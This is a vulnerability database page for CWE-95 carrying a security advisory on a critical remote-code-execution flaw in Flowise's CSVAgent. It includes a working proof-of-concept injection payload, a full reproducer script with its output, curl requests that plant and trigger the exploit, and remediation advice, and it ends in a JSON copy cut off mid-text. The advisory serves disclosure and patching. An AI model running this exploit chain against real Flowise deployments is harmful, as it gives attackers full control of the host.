CWE-95
AllowedImproper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection')
Abstraction: Variant · Status: Incomplete
The product receives input from an upstream component, but it does not neutralize or incorrectly neutralizes code syntax before using the input in a dynamic evaluation call (e.g. "eval").
349 vulnerabilities reference this CWE, most recent first.
GHSA-4J8X-X6V7-W9RQ
Vulnerability from github – Published: 2026-08-04 17:43 – Updated: 2026-08-04 17:43Summary
Flowise's CSVAgent interpolates an attacker-controlled segment of the
csvFile data URI directly into a Python source-code template that is then
executed by Pyodide. Because Pyodide is loaded with the default js bridge
to globalThis (which on Node.js exposes eval and dynamic import()), the
attacker can break out of the Python string literal, hand a JS string to
js.eval, dynamically import any Node built-in module (fs, child_process,
…), and execute arbitrary file I/O or OS commands as the Flowise process.
The two validator paths around this code (validatePythonCodeForDataFrame
and validateCustomReadCSVFunction) are never applied to the bootstrap
template.
A workspace user with chatflows:create (or any agentflows/chatflows
update permission) plants a CSV Agent node with a crafted csvFile. Once the
chatflow is exposed via the (whitelisted, public) POST /api/v1/prediction/:id
endpoint, any unauthenticated request triggers the host RCE.
Details
Vulnerable file: packages/components/nodes/agents/CSVAgent/CSVAgent.ts
The run() method extracts the file segment from the data URI by splitting on
, and using two pop() calls (lines 127–138):
} else {
if (csvFileBase64.startsWith('[') && csvFileBase64.endsWith(']')) {
files = JSON.parse(csvFileBase64)
} else {
files = [csvFileBase64]
}
for (const file of files) {
if (!file) continue
const splitDataURI = file.split(',')
splitDataURI.pop() // discards trailing filename segment
base64String += splitDataURI.pop() ?? '' // captures the segment we attack
}
}
The captured base64String is then interpolated verbatim into a Python
source string at lines 156–171:
const code = `import pandas as pd
import base64
from io import StringIO
import json
base64_string = "${base64String}" // ← line 161: interpolation sink
decoded_data = base64.b64decode(base64_string)
csv_data = StringIO(decoded_data.decode('utf-8'))
df = pd.${customReadCSVFunc}
my_dict = df.dtypes.astype(str).to_dict()
print(my_dict)
json.dumps(my_dict)`
dataframeColDict = await pyodide.runPythonAsync(code) // ← line 171: sink
Validator gaps:
validateCustomReadCSVFunction(customReadCSVFunc)runs on line 147, but this only validates thecustomReadCSVfield, notbase64String.validatePythonCodeForDataFrame(pythonCode)runs on line 198, but only against the LLM-emitted Python that runs later — never against this bootstrap template.- No content check (
^[A-Za-z0-9+/=]*$) is applied tobase64Stringbefore interpolation.
Pyodide configuration (packages/components/nodes/agents/CSVAgent/core.ts,
lines 7–16):
export async function LoadPyodide(): Promise<PyodideInterface> {
if (pyodideInstance === undefined) {
const { loadPyodide } = await import('pyodide')
const obj: any = { packageCacheDir: path.join(getUserHome(), '.flowise', 'pyodideCacheDir') }
pyodideInstance = await loadPyodide(obj)
await pyodideInstance.loadPackage(['pandas', 'numpy'])
}
return pyodideInstance
}
Pyodide is loaded with default options. On Node.js, the default js module
inside Pyodide bridges to globalThis, exposing the JS eval function and
top-level dynamic import(). From injected Python, the attacker runs:
import js
await js.eval(
"(async () => {"
" const fs = await import('fs');"
" fs.writeFileSync('proof.txt', 'pwned');"
"})()"
)
…which executes in the host Node.js process, not inside Pyodide's WASM
sandbox. Substituting await import('child_process') for await import('fs')
yields arbitrary OS-command execution via cp.execSync(...) with the same
primitive.
Node-version note. The original PoC for this issue used
js.process.mainModule.require("child_process"), which is a one-liner but only works on Node ≤ 13 becauseprocess.mainModulewas deprecated and now returnsundefinedon Node 14+. Thejs.eval+ dynamic-import()form above works on any Node 13.2+ in both CommonJS and ESM contexts, and was confirmed end-to-end against a stockflowise@3.1.2running on Node 20.20.2 — see Verified end-to-end against live Flowise below.
Trigger path (post-plant): the route POST /api/v1/prediction/:id is in
WHITELIST_URLS (packages/server/src/utils/constants.ts:12); when the
chatflow has no apikeyid set, it is reachable unauthenticated. A prediction
request runs the chatflow, instantiates CSVAgent, and executes the malicious
bootstrap.
PoC
Verified end-to-end on the cloned repo (commit
a3ffe6611b0986d646b9cd8bb8787d4fdcf9be6d, the same commit the prior audit
was based on).
Reproducer setup
Two files. Save the first as package.json, the second as
repro_a1_pyodide.js, then npm install && node repro_a1_pyodide.js in the
same directory.
package.json:
{
"name": "poc-flowise-s1",
"version": "1.0.0",
"type": "commonjs",
"dependencies": {
"pyodide": "^0.29.3"
}
}
repro_a1_pyodide.js — mirrors CSVAgent.ts:127-138 (the data-URI
parser) and :156-171 (the Python template), then runs the assembled Python
through real Pyodide. The injection segment is checked for commas before
assembly to confirm it cannot be fragmented by the JS-side split(',').
// Full host-RCE PoC for Flowise CSVAgent base64-injection.
//
// Loads real pyodide (matching how core.ts:LoadPyodide() boots it) and runs
// the Python that CSVAgent.ts:156-170 would assemble for an attacker-controlled
// csvFile data URI. Demonstrates:
// 1. JS-side template-literal interpolation produces malicious Python
// 2. validatePythonCodeForDataFrame is bypassed (it never inspects this code path)
// 3. Pyodide-on-Node `js` bridge reaches Node's fs module via dynamic
// import('fs') -> host file write
//
// CONSTRAINTS:
// * csvFile is split on `,` by the agent (CSVAgent.ts:135-137) — segment[2]
// of the data URI is what becomes `base64_string`, so this segment must
// contain NO raw `,` bytes.
// * Inside a Python double-quoted string literal, `,` is the escape
// for `,`. The data-URI parser sees the 6 raw bytes `\`, `u`, `0`, `0`,
// `2`, `c` (no commas), but Python's lexer turns them into commas at
// runtime — letting us pass multiple arguments to JS functions inside
// the Python source.
//
// NODE-VERSION NOTE: an earlier revision of this PoC used
// `cp = js.process.mainModule.require("child_process"); cp.execSync(...)`
// which is shorter but only works on Node ≤ 13 — `process.mainModule` was
// deprecated and now returns `undefined` on Node 14+, so the inner
// `.require(...)` silently no-ops. The `js.eval` + dynamic-`import()` form
// below works on any Node 13.2+ in both CommonJS and ESM contexts and was
// confirmed end-to-end against `flowise@3.1.2` running on Node 20.20.2.
const fs = require('fs')
const path = require('path')
const { loadPyodide } = require('pyodide')
const proofName = 'flowise_a1_pyodide_proof.txt'
const proofPath = path.resolve(__dirname, proofName)
const proofMarker = 'FLOWISE_A1_HOST_RCE_via_pyodide_dynamic_import'
// --- Attacker payload (Python; comma-free) ----------------------------------
// Closes the `base64_string = "` literal with `";`, runs malicious Python,
// then `#` comments out the surviving closing `"` so the rest of the
// bootstrap template still parses.
const pythonInjection =
'";\n' +
'import js\n' +
`await js.eval("(async () => { const fs = await import('fs'); fs.writeFileSync('${proofName}'\\u002c '${proofMarker}'); })()")\n` +
'#'
// Sanity: any commas would fragment the injection on the JS side.
if (pythonInjection.includes(',')) {
throw new Error('PoC bug: injection segment contains a comma — would be split by csvFile.split(",")')
}
const csvFile = `data:text/csv;base64,A,${pythonInjection},IGNORED`
// --- JS side: mirror CSVAgent.ts:127-138 ------------------------------------
const csvFileBase64 = csvFile
const files = csvFileBase64.startsWith('[') && csvFileBase64.endsWith(']') ? JSON.parse(csvFileBase64) : [csvFileBase64]
let base64String = ''
for (const file of files) {
if (!file) continue
const splitDataURI = file.split(',')
splitDataURI.pop()
base64String += splitDataURI.pop() ?? ''
}
// --- JS side: mirror CSVAgent.ts:156-170 (pandas import omitted) ------------
// We omit `import pandas as pd` so we don't need to load pandas (~30 MB) just
// to demonstrate the injection. The real flow's pyodide instance preloads
// pandas via LoadPyodide() (core.ts:12). The injection point and validator
// bypass are identical either way.
const code = `import base64
from io import StringIO
import json
base64_string = "${base64String}"
decoded_data = base64.b64decode(base64_string)
csv_data = StringIO(decoded_data.decode('utf-8'))
print("post-injection bootstrap continued; base64_string =", repr(base64_string))
`
console.log('--- Assembled Python (passed verbatim to pyodide.runPythonAsync) ---')
console.log(code)
console.log('--- end ---\n')
;(async () => {
try { fs.unlinkSync(proofPath) } catch {}
console.log('[*] Loading pyodide...')
const pyodide = await loadPyodide()
console.log('[*] Pyodide loaded; running attacker-assembled Python...\n')
try {
await pyodide.runPythonAsync(code)
} catch (e) {
console.log('[!] runPythonAsync threw (the bootstrap may fail AFTER the injection has executed):')
console.log(String(e).split('\n').slice(0, 8).join('\n'))
}
// give the spawned writeFileSync a moment to flush
await new Promise((r) => setTimeout(r, 500))
console.log('\n--- Proof file at ' + proofPath + ' ---')
if (fs.existsSync(proofPath)) {
console.log(fs.readFileSync(proofPath, 'utf-8').trim())
console.log('\n[+] HOST RCE CONFIRMED: file written by the Node host process via the pyodide js-bridge.')
} else {
console.log('[-] Proof file not present.')
}
})()
What gets assembled
After the two pop() calls in CSVAgent.ts:135-137 extract the third comma-separated segment, the Python text passed to pyodide.runPythonAsync becomes (note that Python's lexer resolves the , escapes inside the string literal back to commas, so the JS code actually receives fs.writeFileSync('proof', 'marker')):
import base64
from io import StringIO
import json
base64_string = "";
import js
await js.eval("(async () => { const fs = await import('fs'); fs.writeFileSync('flowise_a1_pyodide_proof.txt', 'FLOWISE_A1_HOST_RCE_via_pyodide_dynamic_import'); })()")
#"
decoded_data = base64.b64decode(base64_string)
csv_data = StringIO(decoded_data.decode('utf-8'))
...
The "; closes line 161's string literal; the injected statements execute
(awaiting the JS Promise that writes the proof file); the trailing #
comments out the dangling " so the rest of the bootstrap parses. The
remaining b64decode("") returns b'' and pd.read_csv (in the live
template) then raises pandas.errors.EmptyDataError, but the
fs.writeFileSync(...) call has already fired in the Node host.
Observed output (after deleting any prior proof file)
[*] Loading pyodide...
[*] Pyodide loaded; running attacker-assembled Python...
--- Proof file at .../flowise_a1_pyodide_proof.txt ---
FLOWISE_A1_HOST_RCE_via_pyodide_dynamic_import
[+] HOST RCE CONFIRMED: file written by the Node host process via the pyodide js-bridge.
The proof file flowise_a1_pyodide_proof.txt is written by the Node host
process via the Pyodide js bridge → js.eval(...) →
(await import('fs')).writeFileSync(...), confirming the escape from the
Pyodide WASM sandbox. The standalone repro omits import pandas, so no
post-injection exception is raised — but the live template (pandas.read_csv
on the empty buffer) throws pandas.errors.EmptyDataError after the host
write has already happened, which is exactly the symptom an operator sees in
the chat panel.
Verified end-to-end against live Flowise
The standalone repro above proves the validator-bypass + sandbox-escape
primitive in isolation. The same payload was additionally verified against a
stock flowise@3.1.2 install on Node 20.20.2:
| Step | Action |
|---|---|
| 1 | npm install -g flowise (Node 20.20.2, Linux x64) |
| 2 | flowise start → bind on :3000 |
| 3 | UI: create admin + dummy OpenAI credential (any string for the API key — never validated; the exploit fires before the LLM is invoked) |
| 4 | Plant the attached evil-csvagent-flow.json in the chatflows DB (UI import or POST /api/v1/chatflows) |
| 5 | Open the chatflow → click chat → send any message |
| 6 | Chat panel shows pandas.errors.EmptyDataError: No columns to parse from file |
| 7 | /home/<user>/flowise_a1_proof.txt is now present, 46 bytes, content FLOWISE_A1_HOST_RCE_via_pyodide_dynamic_import, owner-uid matches the Flowise process uid |
Reproduction artifacts (evil-csvagent-flow.json, build-flow-v2.js,
test-flow.js, the captured evidence-bundle.txt) live at
pocs/S1-csvagent-csvfile-rce/triage-response/. The chatflow JSON is built
verbatim from Flowise's bundled marketplaces/chatflows/CSV Agent.json
template with three minimal edits — the malicious csvFile data URI on
csvAgent_0, a placeholder credential on chatOpenAI_0, and the sticky
note removed — so it imports cleanly into any Flowise 3.x without the
reactFlowNodeData.inputParams.find(...) 500 the maintainer initially saw
when handed a hand-crafted minimal flow.
End-to-end against a live Flowise instance
The local PoC above proves the validator-bypass + sandbox-escape primitive. To reach the same primitive over HTTP against a deployed Flowise, two requests suffice:
# Step 1 — authenticated chatflow author (any user with chatflows:create
# in OSS, this is typically every registered user) plants the flow.
# evil-csvagent-flow.json is a chatflow whose csvAgent node has
# inputs.csvFile = "data:text/csv;base64,A,<comma-free python payload>,IGNORED"
curl -X POST https://target/api/v1/chatflows \
-H "Authorization: Bearer <api-key with chatflows:create>" \
-H "Content-Type: application/json" \
-d @evil-csvagent-flow.json
# → returns chatflow id, e.g. "<flow-uuid>"
# Step 2 — anyone, no auth (the route is whitelisted at
# packages/server/src/utils/constants.ts:12) triggers execution:
curl -X POST https://target/api/v1/prediction/<flow-uuid> \
-H "Content-Type: application/json" \
-d '{"question":"go"}'
Step 1 is the only authenticated step; Step 2 is unauthenticated when
chatflow.apikeyid is unset (the default for newly created chatflows).
Impact
- Class: Remote Code Execution via Python-template injection escaping the
Pyodide sandbox through the
jsbridge. - Affected: every Flowise deployment that exposes a chatflow containing a
CSVAgentnode wherecsvFileis operator-supplied (i.e., overridable vianodeOverridesfor the API caller, or planted by any user with chatflow edit permission). - Prerequisites: one user with
chatflows:create/chatflows:update/agentflows:create/agentflows:updateto plant the chatflow once. The trigger is unauthenticated when the chatflow has noapikeyidset (the default for newly created chatflows). - Result: arbitrary OS-command execution as the Flowise process. Direct access to Flowise's encrypted-credentials key file, the entire database, the host filesystem, and any network resource the host can reach.
Metadata
- Affected versions: Confirmed at commit
a3ffe6611b0986d646b9cd8bb8787d4fdcf9be6d(main, 2026-04-28) and atflowise@3.1.2. The vulnerable code (splitDataURI.pop()+ template-string interpolation) appears unchanged across this range. Earlier 3.x versions with the same data-URI parsing pattern are also believed to be affected, but I did not verify each historical tag. - Fixed version: Unpatched at the audited commit.
- CVSS v3.1:
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H→ Base score 9.9 (Critical). - AV:N — public
/api/v1/prediction/:idtrigger. - AC:L — deterministic; no race / timing.
- PR:L — one user with
chatflows:create(or equivalent) plants the chatflow. In OSS deployments, any registered user typically has this. - UI:N — no user interaction required at trigger time.
- S:C — Pyodide's WASM/Python sandbox is the intended security authority
for this code path; the
jsbridge escape and the validator bypass break out to the Node host process. - C:H / I:H / A:H — full host compromise.
- CWE: CWE-94 (Improper Control of Generation of Code: 'Code Injection'); more specifically CWE-95 (Improper Neutralization of Directives in Dynamically Evaluated Code: 'Eval Injection').
Remediation
Maintainer fix (preferred — eliminates string-interpolation entirely):
pass the base64 value through Pyodide's globals.set API instead of
template-string interpolation. In packages/components/nodes/agents/CSVAgent/CSVAgent.ts,
replace the construction at lines 156–171 with something like:
const pyodide = await LoadPyodide()
pyodide.globals.set('base64_string', base64String)
const code = `import pandas as pd
import base64
from io import StringIO
import json
decoded_data = base64.b64decode(base64_string)
csv_data = StringIO(decoded_data.decode('utf-8'))
df = pd.${customReadCSVFunc}
my_dict = df.dtypes.astype(str).to_dict()
print(my_dict)
json.dumps(my_dict)`
dataframeColDict = await pyodide.runPythonAsync(code)
This keeps the value as a Python str object that never enters the source
text. Apply the same change to AirtableAgent.ts if it follows the same
pattern.
Defense in depth (recommended as well):
1. Validate base64String against ^[A-Za-z0-9+/=]*$ before interpolation
(rejects every escape character used in the PoC).
2. Disable Pyodide's js module on load. Pyodide supports loadPyodide({ jsglobals: {} })
or the js-module-removal recipe; either prevents the bridge to
globalThis.process on Node.js. Apply in
packages/components/nodes/agents/CSVAgent/core.ts:LoadPyodide.
3. Run validatePythonCodeForDataFrame (or a stricter equivalent) over the
bootstrap template, not only over the LLM-emitted code. The current
ordering inverts the trust assumption.
4. Add a positive allow-list to validateCustomReadCSVFunction enumerating
only safe pandas readers (e.g., read_csv and column-typed forms);
exclude read_pickle, read_html, read_xml, read_parquet,
read_orc, read_feather, read_json (these are independently
exploitable — see S2/S3 in the submission roadmap).
User mitigations until a patch ships:
- Set chatflow.apikeyid on every chatflow that uses CSVAgent so
validateFlowAPIKey enforces auth on /api/v1/prediction/:id.
- Set chatbotConfig.allowedOrigins to a strict list (note: this only
defends against browser callers, not curl/server-side).
- Restrict chatflows:create / agentflows:create permissions to trusted
users only.
- Where possible, strip csvFile from the nodeOverrides allow-list on
affected chatflows so it cannot be supplied at prediction time.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 3.1.2"
},
"package": {
"ecosystem": "npm",
"name": "flowise"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "3.1.3"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 3.1.2"
},
"package": {
"ecosystem": "npm",
"name": "flowise-components"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "3.1.3"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-69264"
],
"database_specific": {
"cwe_ids": [
"CWE-94",
"CWE-95"
],
"github_reviewed": true,
"github_reviewed_at": "2026-08-04T17:43:48Z",
"nvd_published_at": null,
"severity": "CRITICAL"
},
"details": "### Summary\nFlowise\u0027s `CSVAgent` interpolates an attacker-controlled segment of the\n`csvFile` data URI directly into a Python source-code template that is then\nexecuted by Pyodide. Because Pyodide is loaded with the default `js` bridge\nto `globalThis` (which on Node.js exposes `eval` and dynamic `import()`), the\nattacker can break out of the Python string literal, hand a JS string to\n`js.eval`, dynamically import any Node built-in module (`fs`, `child_process`,\n\u2026), and execute arbitrary file I/O or OS commands as the Flowise process.\nThe two validator paths around this code (`validatePythonCodeForDataFrame`\nand `validateCustomReadCSVFunction`) are never applied to the bootstrap\ntemplate.\n\nA workspace user with `chatflows:create` (or any `agentflows`/`chatflows`\nupdate permission) plants a CSV Agent node with a crafted `csvFile`. Once the\nchatflow is exposed via the (whitelisted, public) `POST /api/v1/prediction/:id`\nendpoint, *any unauthenticated* request triggers the host RCE.\n\n### Details\n\n**Vulnerable file:** `packages/components/nodes/agents/CSVAgent/CSVAgent.ts`\n\nThe `run()` method extracts the file segment from the data URI by splitting on\n`,` and using two `pop()` calls (lines 127\u2013138):\n\n```ts\n} else {\n if (csvFileBase64.startsWith(\u0027[\u0027) \u0026\u0026 csvFileBase64.endsWith(\u0027]\u0027)) {\n files = JSON.parse(csvFileBase64)\n } else {\n files = [csvFileBase64]\n }\n\n for (const file of files) {\n if (!file) continue\n const splitDataURI = file.split(\u0027,\u0027)\n splitDataURI.pop() // discards trailing filename segment\n base64String += splitDataURI.pop() ?? \u0027\u0027 // captures the segment we attack\n }\n}\n```\n\nThe captured `base64String` is then **interpolated verbatim** into a Python\nsource string at lines 156\u2013171:\n\n```ts\nconst code = `import pandas as pd\nimport base64\nfrom io import StringIO\nimport json\n\nbase64_string = \"${base64String}\" // \u2190 line 161: interpolation sink\n\ndecoded_data = base64.b64decode(base64_string)\ncsv_data = StringIO(decoded_data.decode(\u0027utf-8\u0027))\n\ndf = pd.${customReadCSVFunc}\nmy_dict = df.dtypes.astype(str).to_dict()\nprint(my_dict)\njson.dumps(my_dict)`\ndataframeColDict = await pyodide.runPythonAsync(code) // \u2190 line 171: sink\n```\n\n**Validator gaps:**\n\n- `validateCustomReadCSVFunction(customReadCSVFunc)` runs on line 147, but\n this only validates the `customReadCSV` field, not `base64String`.\n- `validatePythonCodeForDataFrame(pythonCode)` runs on line 198, but only\n against the *LLM-emitted* Python that runs later \u2014 never against this\n bootstrap template.\n- No content check (`^[A-Za-z0-9+/=]*$`) is applied to `base64String` before\n interpolation.\n\n**Pyodide configuration** (`packages/components/nodes/agents/CSVAgent/core.ts`,\nlines 7\u201316):\n\n```ts\nexport async function LoadPyodide(): Promise\u003cPyodideInterface\u003e {\n if (pyodideInstance === undefined) {\n const { loadPyodide } = await import(\u0027pyodide\u0027)\n const obj: any = { packageCacheDir: path.join(getUserHome(), \u0027.flowise\u0027, \u0027pyodideCacheDir\u0027) }\n pyodideInstance = await loadPyodide(obj)\n await pyodideInstance.loadPackage([\u0027pandas\u0027, \u0027numpy\u0027])\n }\n return pyodideInstance\n}\n```\n\nPyodide is loaded with default options. On Node.js, the default `js` module\ninside Pyodide bridges to `globalThis`, exposing the JS `eval` function and\ntop-level dynamic `import()`. From injected Python, the attacker runs:\n\n```python\nimport js\nawait js.eval(\n \"(async () =\u003e {\"\n \" const fs = await import(\u0027fs\u0027);\"\n \" fs.writeFileSync(\u0027proof.txt\u0027, \u0027pwned\u0027);\"\n \"})()\"\n)\n```\n\n\u2026which executes in the host Node.js process, **not** inside Pyodide\u0027s WASM\nsandbox. Substituting `await import(\u0027child_process\u0027)` for `await import(\u0027fs\u0027)`\nyields arbitrary OS-command execution via `cp.execSync(...)` with the same\nprimitive.\n\n\u003e **Node-version note.** The original PoC for this issue used\n\u003e `js.process.mainModule.require(\"child_process\")`, which is a one-liner but\n\u003e only works on Node \u2264 13 because `process.mainModule` was deprecated and now\n\u003e returns `undefined` on Node 14+. The `js.eval` + dynamic-`import()` form\n\u003e above works on any Node 13.2+ in both CommonJS and ESM contexts, and was\n\u003e confirmed end-to-end against a stock `flowise@3.1.2` running on Node\n\u003e 20.20.2 \u2014 see [Verified end-to-end against live Flowise](#verified-end-to-end-against-live-flowise)\n\u003e below.\n\n**Trigger path (post-plant):** the route `POST /api/v1/prediction/:id` is in\n`WHITELIST_URLS` (`packages/server/src/utils/constants.ts:12`); when the\nchatflow has no `apikeyid` set, it is reachable unauthenticated. A prediction\nrequest runs the chatflow, instantiates `CSVAgent`, and executes the malicious\nbootstrap.\n\n### PoC\n\nVerified end-to-end on the cloned repo (commit\n`a3ffe6611b0986d646b9cd8bb8787d4fdcf9be6d`, the same commit the prior audit\nwas based on).\n\n#### Reproducer setup\n\nTwo files. Save the first as `package.json`, the second as\n`repro_a1_pyodide.js`, then `npm install \u0026\u0026 node repro_a1_pyodide.js` in the\nsame directory.\n\n**`package.json`:**\n\n```json\n{\n \"name\": \"poc-flowise-s1\",\n \"version\": \"1.0.0\",\n \"type\": \"commonjs\",\n \"dependencies\": {\n \"pyodide\": \"^0.29.3\"\n }\n}\n```\n\n**`repro_a1_pyodide.js`** \u2014 mirrors `CSVAgent.ts:127-138` (the data-URI\nparser) and `:156-171` (the Python template), then runs the assembled Python\nthrough real Pyodide. The injection segment is checked for commas before\nassembly to confirm it cannot be fragmented by the JS-side `split(\u0027,\u0027)`.\n\n```js\n// Full host-RCE PoC for Flowise CSVAgent base64-injection.\n//\n// Loads real pyodide (matching how core.ts:LoadPyodide() boots it) and runs\n// the Python that CSVAgent.ts:156-170 would assemble for an attacker-controlled\n// csvFile data URI. Demonstrates:\n// 1. JS-side template-literal interpolation produces malicious Python\n// 2. validatePythonCodeForDataFrame is bypassed (it never inspects this code path)\n// 3. Pyodide-on-Node `js` bridge reaches Node\u0027s fs module via dynamic\n// import(\u0027fs\u0027) -\u003e host file write\n//\n// CONSTRAINTS:\n// * csvFile is split on `,` by the agent (CSVAgent.ts:135-137) \u2014 segment[2]\n// of the data URI is what becomes `base64_string`, so this segment must\n// contain NO raw `,` bytes.\n// * Inside a Python double-quoted string literal, `,` is the escape\n// for `,`. The data-URI parser sees the 6 raw bytes `\\`, `u`, `0`, `0`,\n// `2`, `c` (no commas), but Python\u0027s lexer turns them into commas at\n// runtime \u2014 letting us pass multiple arguments to JS functions inside\n// the Python source.\n//\n// NODE-VERSION NOTE: an earlier revision of this PoC used\n// `cp = js.process.mainModule.require(\"child_process\"); cp.execSync(...)`\n// which is shorter but only works on Node \u2264 13 \u2014 `process.mainModule` was\n// deprecated and now returns `undefined` on Node 14+, so the inner\n// `.require(...)` silently no-ops. The `js.eval` + dynamic-`import()` form\n// below works on any Node 13.2+ in both CommonJS and ESM contexts and was\n// confirmed end-to-end against `flowise@3.1.2` running on Node 20.20.2.\n\nconst fs = require(\u0027fs\u0027)\nconst path = require(\u0027path\u0027)\nconst { loadPyodide } = require(\u0027pyodide\u0027)\n\nconst proofName = \u0027flowise_a1_pyodide_proof.txt\u0027\nconst proofPath = path.resolve(__dirname, proofName)\nconst proofMarker = \u0027FLOWISE_A1_HOST_RCE_via_pyodide_dynamic_import\u0027\n\n// --- Attacker payload (Python; comma-free) ----------------------------------\n// Closes the `base64_string = \"` literal with `\";`, runs malicious Python,\n// then `#` comments out the surviving closing `\"` so the rest of the\n// bootstrap template still parses.\nconst pythonInjection =\n \u0027\";\\n\u0027 +\n \u0027import js\\n\u0027 +\n `await js.eval(\"(async () =\u003e { const fs = await import(\u0027fs\u0027); fs.writeFileSync(\u0027${proofName}\u0027\\\\u002c \u0027${proofMarker}\u0027); })()\")\\n` +\n \u0027#\u0027\n\n// Sanity: any commas would fragment the injection on the JS side.\nif (pythonInjection.includes(\u0027,\u0027)) {\n throw new Error(\u0027PoC bug: injection segment contains a comma \u2014 would be split by csvFile.split(\",\")\u0027)\n}\n\nconst csvFile = `data:text/csv;base64,A,${pythonInjection},IGNORED`\n\n// --- JS side: mirror CSVAgent.ts:127-138 ------------------------------------\nconst csvFileBase64 = csvFile\nconst files = csvFileBase64.startsWith(\u0027[\u0027) \u0026\u0026 csvFileBase64.endsWith(\u0027]\u0027) ? JSON.parse(csvFileBase64) : [csvFileBase64]\nlet base64String = \u0027\u0027\nfor (const file of files) {\n if (!file) continue\n const splitDataURI = file.split(\u0027,\u0027)\n splitDataURI.pop()\n base64String += splitDataURI.pop() ?? \u0027\u0027\n}\n\n// --- JS side: mirror CSVAgent.ts:156-170 (pandas import omitted) ------------\n// We omit `import pandas as pd` so we don\u0027t need to load pandas (~30 MB) just\n// to demonstrate the injection. The real flow\u0027s pyodide instance preloads\n// pandas via LoadPyodide() (core.ts:12). The injection point and validator\n// bypass are identical either way.\nconst code = `import base64\nfrom io import StringIO\nimport json\n\nbase64_string = \"${base64String}\"\n\ndecoded_data = base64.b64decode(base64_string)\ncsv_data = StringIO(decoded_data.decode(\u0027utf-8\u0027))\nprint(\"post-injection bootstrap continued; base64_string =\", repr(base64_string))\n`\n\nconsole.log(\u0027--- Assembled Python (passed verbatim to pyodide.runPythonAsync) ---\u0027)\nconsole.log(code)\nconsole.log(\u0027--- end ---\\n\u0027)\n\n;(async () =\u003e {\n try { fs.unlinkSync(proofPath) } catch {}\n\n console.log(\u0027[*] Loading pyodide...\u0027)\n const pyodide = await loadPyodide()\n console.log(\u0027[*] Pyodide loaded; running attacker-assembled Python...\\n\u0027)\n\n try {\n await pyodide.runPythonAsync(code)\n } catch (e) {\n console.log(\u0027[!] runPythonAsync threw (the bootstrap may fail AFTER the injection has executed):\u0027)\n console.log(String(e).split(\u0027\\n\u0027).slice(0, 8).join(\u0027\\n\u0027))\n }\n\n // give the spawned writeFileSync a moment to flush\n await new Promise((r) =\u003e setTimeout(r, 500))\n\n console.log(\u0027\\n--- Proof file at \u0027 + proofPath + \u0027 ---\u0027)\n if (fs.existsSync(proofPath)) {\n console.log(fs.readFileSync(proofPath, \u0027utf-8\u0027).trim())\n console.log(\u0027\\n[+] HOST RCE CONFIRMED: file written by the Node host process via the pyodide js-bridge.\u0027)\n } else {\n console.log(\u0027[-] Proof file not present.\u0027)\n }\n})()\n```\n\n#### What gets assembled\n\nAfter the two `pop()` calls in `CSVAgent.ts:135-137` extract the third comma-separated segment, the Python text passed to `pyodide.runPythonAsync` becomes (note that Python\u0027s lexer resolves the `,` escapes inside the string literal back to commas, so the JS code actually receives `fs.writeFileSync(\u0027proof\u0027, \u0027marker\u0027)`):\n\n```python\nimport base64\nfrom io import StringIO\nimport json\n\nbase64_string = \"\";\nimport js\nawait js.eval(\"(async () =\u003e { const fs = await import(\u0027fs\u0027); fs.writeFileSync(\u0027flowise_a1_pyodide_proof.txt\u0027, \u0027FLOWISE_A1_HOST_RCE_via_pyodide_dynamic_import\u0027); })()\")\n#\"\n\ndecoded_data = base64.b64decode(base64_string)\ncsv_data = StringIO(decoded_data.decode(\u0027utf-8\u0027))\n...\n```\n\nThe `\";` closes line 161\u0027s string literal; the injected statements execute\n(awaiting the JS Promise that writes the proof file); the trailing `#`\ncomments out the dangling `\"` so the rest of the bootstrap parses. The\nremaining `b64decode(\"\")` returns `b\u0027\u0027` and `pd.read_csv` (in the live\ntemplate) then raises `pandas.errors.EmptyDataError`, but the\n`fs.writeFileSync(...)` call has already fired in the Node host.\n\n#### Observed output (after deleting any prior proof file)\n\n```\n[*] Loading pyodide...\n[*] Pyodide loaded; running attacker-assembled Python...\n\n--- Proof file at .../flowise_a1_pyodide_proof.txt ---\nFLOWISE_A1_HOST_RCE_via_pyodide_dynamic_import\n\n[+] HOST RCE CONFIRMED: file written by the Node host process via the pyodide js-bridge.\n```\n\nThe proof file `flowise_a1_pyodide_proof.txt` is written by the Node host\nprocess via the Pyodide `js` bridge \u2192 `js.eval(...)` \u2192\n`(await import(\u0027fs\u0027)).writeFileSync(...)`, confirming the escape from the\nPyodide WASM sandbox. The standalone repro omits `import pandas`, so no\npost-injection exception is raised \u2014 but the live template (`pandas.read_csv`\non the empty buffer) throws `pandas.errors.EmptyDataError` *after* the host\nwrite has already happened, which is exactly the symptom an operator sees in\nthe chat panel.\n\n#### Verified end-to-end against live Flowise\n\nThe standalone repro above proves the validator-bypass + sandbox-escape\nprimitive in isolation. The same payload was additionally verified against a\nstock `flowise@3.1.2` install on Node 20.20.2:\n\n| Step | Action |\n|---|---|\n| 1 | `npm install -g flowise` (Node 20.20.2, Linux x64) |\n| 2 | `flowise start` \u2192 bind on `:3000` |\n| 3 | UI: create admin + dummy OpenAI credential (any string for the API key \u2014 never validated; the exploit fires before the LLM is invoked) |\n| 4 | Plant the attached `evil-csvagent-flow.json` in the chatflows DB (UI import or `POST /api/v1/chatflows`) |\n| 5 | Open the chatflow \u2192 click chat \u2192 send any message |\n| 6 | Chat panel shows `pandas.errors.EmptyDataError: No columns to parse from file` |\n| 7 | `/home/\u003cuser\u003e/flowise_a1_proof.txt` is now present, 46 bytes, content `FLOWISE_A1_HOST_RCE_via_pyodide_dynamic_import`, owner-uid matches the Flowise process uid |\n\nReproduction artifacts (`evil-csvagent-flow.json`, `build-flow-v2.js`,\n`test-flow.js`, the captured `evidence-bundle.txt`) live at\n`pocs/S1-csvagent-csvfile-rce/triage-response/`. The chatflow JSON is built\nverbatim from Flowise\u0027s bundled `marketplaces/chatflows/CSV Agent.json`\ntemplate with three minimal edits \u2014 the malicious `csvFile` data URI on\n`csvAgent_0`, a placeholder credential on `chatOpenAI_0`, and the sticky\nnote removed \u2014 so it imports cleanly into any Flowise 3.x without the\n`reactFlowNodeData.inputParams.find(...)` 500 the maintainer initially saw\nwhen handed a hand-crafted minimal 